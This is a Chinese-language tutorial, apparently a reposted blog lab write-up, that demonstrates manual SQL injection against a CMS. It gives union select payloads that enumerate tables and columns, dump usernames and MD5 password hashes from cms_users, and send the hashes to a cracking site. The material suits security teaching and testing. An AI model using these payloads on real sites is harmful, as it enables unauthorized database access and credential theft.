SQL注入攻击实例-CMS

发布时间:2024年01月12日

手动注入

CMS

1.寻找可能存在SQL注入点的页面

GET方式
通过把参数附加在URL中进行提交
寻找如下形式的网页链接
http://www.xxx.com/**.asp?table=xx
http://www.xxx.com/**.php?id=xx
http://www.xxx.com/**.aspx?id=xx
http://www.xxx.com/**.jsp?id=xx
测试

在URL后加入单引号查看是否存在注入漏洞
报错则说明存在注入漏洞

POST方式
通过把参数封装在数据包内容中进行提交
寻找存在表单元素的页面

文本框
单选按钮
复选框
文件浏览框
提交按钮

测试

在文本框输入的内容后加入单引号查看是否存在注入漏洞
报错则说明存在注入漏洞

2.确认注入点类型

数字型

在URL后加入 and 1=1 能正常返回数据
在URL后加入 and 1=2 查询不到数据

字符型

在URL后加入 'and 1=1–+ 能正常返回数据
在URL后加入 'and 1=2# 查询不到数据

3.猜解当前页面中的字段总数

在URL后加 order by 3
逐步调整猜解的字段数

有数据返回则改变字段数大于3
报错则改变字段数小于3

直到测试出有数据返回的最大值

未报错:
在这里插入图片描述
报错:
在这里插入图片描述

4.猜解页面中显示的字段编号

在URL后加 and 1=2 union select 1,2,3,4,5…与到第三步测出来的最大值为止
SELECT * FROM article WHERE id=33 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
uinon语句特点:
    要求多条查询语句的查询列数是一致的
    要求多条查询语句的查询的每一列的类型和顺序最好一致
    如果union语句中有语句出错,则执行后面的语句
    union关键字默认去重,如果使用union all可以包含重复项

在这里插入图片描述

页面中会显示相应的字段出现的位置

5.猜解当前网站数据库名称

在URL后加:
1=2 union select 1,2,3,4,5,6,7,8,9,10,database(),12,13,14,15

在这里插入图片描述

6.猜解当前数据库中所有表的名称

在URL后面加 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,group_concat(table_name),15 from information_schema.tables where table_schema=database()

在这里插入图片描述

select group_concat(table_name) from information_schema.tables where table_schema=database()
或者
select group_concat(table_name) from information_schema.tables where table_schema='cms'
    可能后端会对引号进行过滤,所以不可取

group_concat()是将分组括号里对应的字符串进行连接,如果分组括号里的参数有多行,那么就会将这多行字符串连接,每个字符串之间会有特定的符号进行分隔

7.猜解指定表中所有字段名称

在URL后加 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,group_concat(column_name),15 from information_schema.columns where table_name='cms_users'

在这里插入图片描述

8猜解cms_users表中的具体内容

在URL后加 and 1=2 union select 1,2,username,4,5,6,7,8,9,10,11,12,13,password,15 from cms_users

在这里插入图片描述

9.对猜解出的MD5内容进行处理

MD5加解密网站:https://cmd5.org/
在这里插入图片描述

问题!!!!!

正常情况下,用户名和密码只会显示数据表中的第一数据

解决方法
方法一:
在URL后加 and 1=2 union select 1,2,group_concat(username),4,5,6,7,8,9,10,11,12,13,group_concat(password),15 from cms_users

在这里插入图片描述

方法二:
在URL后加 and 1=2 union select 1,2,username,4,5,6,7,8,9,10,11,12,13,password,15 from cms_users limit 1,1

在这里插入图片描述

文章来源:https://blog.csdn.net/weixin_62715196/article/details/135515614
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。